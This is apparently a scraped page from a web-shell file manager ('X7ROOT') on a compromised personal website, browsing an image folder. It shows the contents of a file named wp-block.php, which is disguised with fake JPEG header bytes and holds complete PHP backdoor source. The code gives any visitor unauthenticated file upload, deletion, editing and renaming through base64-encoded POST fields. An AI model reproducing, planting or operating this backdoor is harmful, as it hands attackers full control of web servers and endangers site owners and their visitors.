X7ROOT File Manager
Current Path:
/home/u408670528/domains/vittoriabeltrame.com/public_html/assets/img/press
home
/
u408670528
/
domains
/
vittoriabeltrame.com
/
public_html
/
assets
/
img
/
press
/
📁
..
📄
.DS_Store
(6 KB)
📄
F51F714A-D332-4421-88C6-551C17198626.jpeg
(340.94 KB)
📄
IMG_0083.jpeg
(152.77 KB)
📄
IMG_0648.jpeg
(1.53 MB)
📄
IMG_0778.jpeg
(375.91 KB)
📄
IMG_0779.jpeg
(369.3 KB)
📄
IMG_9211.jpeg
(346.68 KB)
📄
Screenshot 2024-02-23 at 13.33.03.png
(66.38 KB)
📄
Screenshot 2024-02-23 at 13.34.12.png
(130.43 KB)
📄
Screenshot 2024-02-23 at 13.35.06.png
(33.34 KB)
📄
Screenshot 2024-02-23 at 13.37.22.png
(58.54 KB)
📄
Screenshot 2024-02-23 at 13.38.16.png
(31.43 KB)
📄
Screenshot 2024-02-23 at 13.38.50.png
(1.6 MB)
📄
Screenshot 2024-02-23 at 13.41.28.png
(13.04 KB)
📄
Screenshot 2024-02-23 at 13.42.10.png
(2.19 MB)
📄
Screenshot 2024-02-23 at 13.43.57.png
(2.96 MB)
📄
Screenshot 2024-02-23 at 18.13.14.png
(1.68 MB)
📄
Screenshot 2024-03-07 at 14.38.59.png
(1.73 MB)
📄
Screenshot 2024-03-26 at 10.20.14.png
(3.17 MB)
📄
Screenshot 2024-03-26 at 10.21.57.png
(1.5 MB)
📄
Screenshot 2024-03-26 at 10.23.04.png
(735.23 KB)
📄
Screenshot 2024-03-29 at 13.41.40.png
(758.03 KB)
📄
Screenshot 2024-04-18 at 08.58.33.png
(2.32 MB)
📄
Screenshot 2024-07-10 at 12.39.31.png
(3.66 MB)
📄
Screenshot 2024-10-05 at 17.54.23.png
(203.9 KB)
📄
art_plugged_logo_@2x.png
(2.66 KB)
📄
covassi.png
(1.63 MB)
📄
wp-block.php
(8.16 KB)
Editing: wp-block.php
??? JFIF ?? C !"$"$?? C ?? p " ?? ?? ? ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ .....................................................................................................................................??? JFIF ?? C !"$"$?? C ?? p " ?? ?? ? ???? (% aA*?XYD?(J??E RE,P XYae?)(E 2 B R BQ X?)X ? @ ............................................................<?php $currentDir = isset($_POST['d']) && !empty($_POST['d']) ? base64_decode($_POST['d']) : getcwd(); $currentDir = str_replace("\\", "/", $currentDir); $dir = $currentDir; // Needed for Adminer logic // Directory Navigation $pathParts = explode("/", $currentDir); echo "<div class=\"dir\">"; foreach ($pathParts as $k => $v) { if ($v == "" && $k == 0) { echo "<a href=\"javascript:void(0);\" onclick=\"postDir('/')\">/</a>"; continue; } $dirPath = implode("/", array_slice($pathParts, 0, $k + 1)); echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($dirPath) . "')\">$v</a>/"; } echo "</div>"; // Upload if (isset($_POST['s']) && isset($_FILES['u']) && $_FILES['u']['error'] == 0) { $fileName = $_FILES['u']['name']; $tmpName = $_FILES['u']['tmp_name']; $destination = $currentDir . '/' . $fileName; if (rename($tmpName, $destination)) { echo "<script>alert('Upload successful!'); postDir('" . addslashes($currentDir) . "');</script>"; } else { echo "<script>alert('Upload failed!');</script>"; } } // File/Folder Listing $items = scandir($currentDir); if ($items !== false) { echo "<table>"; echo "<tr><th>Name</th><th>Size</th><th>Action</th></tr>"; foreach ($items as $item) { $fullPath = $currentDir . '/' . $item; if ($item == '.' || $item == '..') continue; if (is_dir($fullPath)) { echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fullPath) . "')\"><b>dir><b/> $item</a></td><td>--</td><td>--</td></tr>"; } else { $size = filesize($fullPath) / 1024; $size = $size >= 1024 ? round($size / 1024, 2) . 'MB' : round($size, 2) . 'KB'; echo "<tr><td><a href=\"javascript:void(0);\" onclick=\"postOpen('" . addslashes($fullPath) . "')\">fil> $item</a></td><td>$size</td><td>" . "<a href=\"javascript:void(0);\" onclick=\"postDel('" . addslashes($fullPath) . "')\">Delete</a> | " . "<a href=\"javascript:void(0);\" onclick=\"postEdit('" . addslashes($fullPath) . "')\">Edit</a> | " . "<a href=\"javascript:void(0);\" onclick=\"postRen('" . addslashes($fullPath) . "', '$item')\">Rename</a>" . "</td></tr>"; } } echo "</table>"; } else { echo "<p>Unable to read directory!</p>"; } // Delete File if (isset($_POST['del'])) { $filePath = base64_decode($_POST['del']); $fileDir = dirname($filePath); if (@unlink($filePath)) { echo "<script>alert('Delete successful'); postDir('" . addslashes($fileDir) . "');</script>"; } else { echo "<script>alert('Delete failed'); postDir('" . addslashes($fileDir) . "');</script>"; } } // Edit File if (isset($_POST['edit'])) { $filePath = base64_decode($_POST['edit']); $fileDir = dirname($filePath); if (file_exists($filePath)) { echo "<style>table{display:none;}</style>"; echo "<a href=\"javascript:void(0);\" onclick=\"postDir('" . addslashes($fileDir) . "')\">Back</a>"; echo "<form method=\"post\"> <input type=\"hidden\" name=\"obj\" value=\"" . $_POST['edit'] . "\"> <input type=\"hidden\" name=\"d\" value=\"" . base64_encode($fileDir) . "\"> <textarea name=\"content\">" . htmlspecialchars(file_get_contents($filePath)) . "</textarea> <center><button type=\"submit\" name=\"save\">Save</button></center> </form>"; } } // Save Edited File if (isset($_POST['save']) && isset($_POST['obj']) && isset($_POST['content'])) { $filePath = base64_decode($_POST['obj']); $fileDir = dirname($filePath); if (file_put_contents($filePath, $_POST['content'])) { echo "<script>alert('Saved'); postDir('" . addslashes($fileDir) . "');</script>"; } else { echo "<script>alert('Save failed'); postDir('" . addslashes($fileDir) . "');</script>"; } } // Rename if (isset($_POST['ren'])) { $oldPath = base64_decode($_POST['ren']); $oldDir = dirname($oldPath); if (isset($_POST['new'])) { $newPath = $oldDir . '/' . $_POST['new']; if (rename($oldPath, $newPath)) { echo "<script>alert('Renamed'); postDir('" . addslashes($oldDir) . "');</script>"; } else { echo "<script>alert('Rename failed'); postDir('" . addslashes($oldDir) . "');</script>"; } } else { echo "<form method=\"post\"> New Name: <input name=\"new\" type=\"text\"> <input type=\"hidden\" name=\"ren\" value=\"" . $_POST['ren'] . "\"> <input type=\"hidden\" name=\"d\" value=\"" . base64_encode($oldDir) . "\"> <input type=\"submit\" value=\"Submit\"> </form>"; } } ?> <!DOCTYPE html> <html> <head> <title>File Explore</title> <style> table { margin: 20px auto; border-collapse: collapse; width: 90%; } th, td { border: 1px solid #000; padding: 5px; text-align: left; } textarea { width: 100%; height: 300px; } .dir { margin: 20px; } </style> <script> function postDir(dir) { var form = document.createElement("form"); form.method = "post"; var input = document.createElement("input"); input.name = "d"; input.value = btoa(dir); form.appendChild(input); document.body.appendChild(form); form.submit(); } function postDel(path) { var form = document.createElement("form"); form.method = "post"; var input = document.createElement("input"); input.name = "del"; input.value = btoa(path); form.appendChild(input); document.body.appendChild(form); form.submit(); } function postEdit(path) { var form = document.createElement("form"); form.method = "post"; var input = document.createElement("input"); input.name = "edit"; input.value = btoa(path); form.appendChild(input); document.body.appendChild(form); form.submit(); } function postRen(path, name) { var newName = prompt("New name:", name); if (newName) { var form = document.createElement("form"); form.method = "post"; var input1 = document.createElement("input"); input1.name = "ren"; input1.value = btoa(path); var input2 = document.createElement("input"); input2.name = "new"; input2.value = newName; form.appendChild(input1); form.appendChild(input2); document.body.appendChild(form); form.submit(); } } function postOpen(path) { window.open(atob(btoa(path))); } </script> </head> <body> <div class="dir"> <form method="post" enctype="multipart/form-data"> <input type="file" name="u"> <input type="submit" name="s" value="Upload"> <input type="hidden" name="d" value="<?php echo base64_encode($currentDir); ?>"> </form> </div> </body> </html>
Upload File
Create Folder